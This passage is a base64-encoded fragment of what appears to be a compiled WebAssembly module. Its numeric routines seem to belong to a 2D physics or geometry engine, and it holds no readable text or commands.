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TcAASADQQhqIAJBEGopAAA3AAAgACADNgIEQQEMAQsgACABPgIEQQALNgIAIAJB0ABqJAAPC0EQQQRBwMPDACgCACIAQaQGIAAbEQAAAAvoAQEDfSMAQRBrIgEkAAJAAkACQAJAAkAgAg4CAgEACyAAQQA2AgAMAgsgAUIANwMIQwAAgD8hBSADQQJPBEBDAACAvyEFIANBAmsiA0ECTw0DCyABQQhqIANBAnRqIAU4AgAgAEEBNgIAIAAgASkDCDcCBAwBCyADQQRPBEAgAEEANgIADAELIANBAnQiAkHc6MIAaioCACIFIAWUIAJB7OjCAGoqAgAiBiAGlJJDAAAAAJIQdiEHIABBATYCACAAIAYgB5W8rSAFIAeVvK1CIIaENwIECyABQRBqJAAPC0GUrcIAEJMKAAvxAQMDfwF+AX0jAEEQayIDJAACQCAABEAgACgCACIEQX9HDQEQpwsACxCmCwALIAAgBEEBajYCAAJAAkAgAkEDSQRAIANBCGoiBCABvSIGQiCIPgIEIAQgBj4CACADIABBBGogAygCCCADKAIMENAFIAMoAgAiBEUNASADKAIEIgUgBEGgAWooAgBPDQIgBEGcAWooAgAgBUGEAmxqIAJBDGxqQfAAaioCACEHIAAgACgCAEEBazYCACADQRBqJAAgBw8LQcK3wABBGRClCwALQcizwABByQBB0LTAABCaCwALQdCFwABBK0HAtMAAEMkIAAvxAQMDfwF+AX0jAEEQayIDJAACQCAABEAgACgCACIEQX9HDQEQpwsACxCmCwALIAAgBEEBajYCAAJAAkAgAkEDSQRAIANBCGoiBCABvSIGQiCIPgIEIAQgBj4CACADIABBBGogAygCCCADKAIMENAFIAMoAgAiBEUNASADKAIEIgUgBEGgAWooAgBPDQIgBEGcAWooAgAgBUGEAmxqIAJBDGxqQfQAaioCACEHIAAgACgCAEEBazYCACADQRBqJAAgBw8LQcK3wABBGRClCwALQcizwABByQBB0LTAABCaCwALQdCFwABBK0HAtMAAEMkIAAvdAQIBfwZ9IwBBMGsiBSQAIAUgAioCACIIIANBBGoqAgAgAkEMaioCACIKkyIGlCADKgIAIAJBCGoqAgAiC5MiByACQQRqKgIAIgmUkzgCBCAFIAcgCJQgBiAJlJI4AgAgASoCA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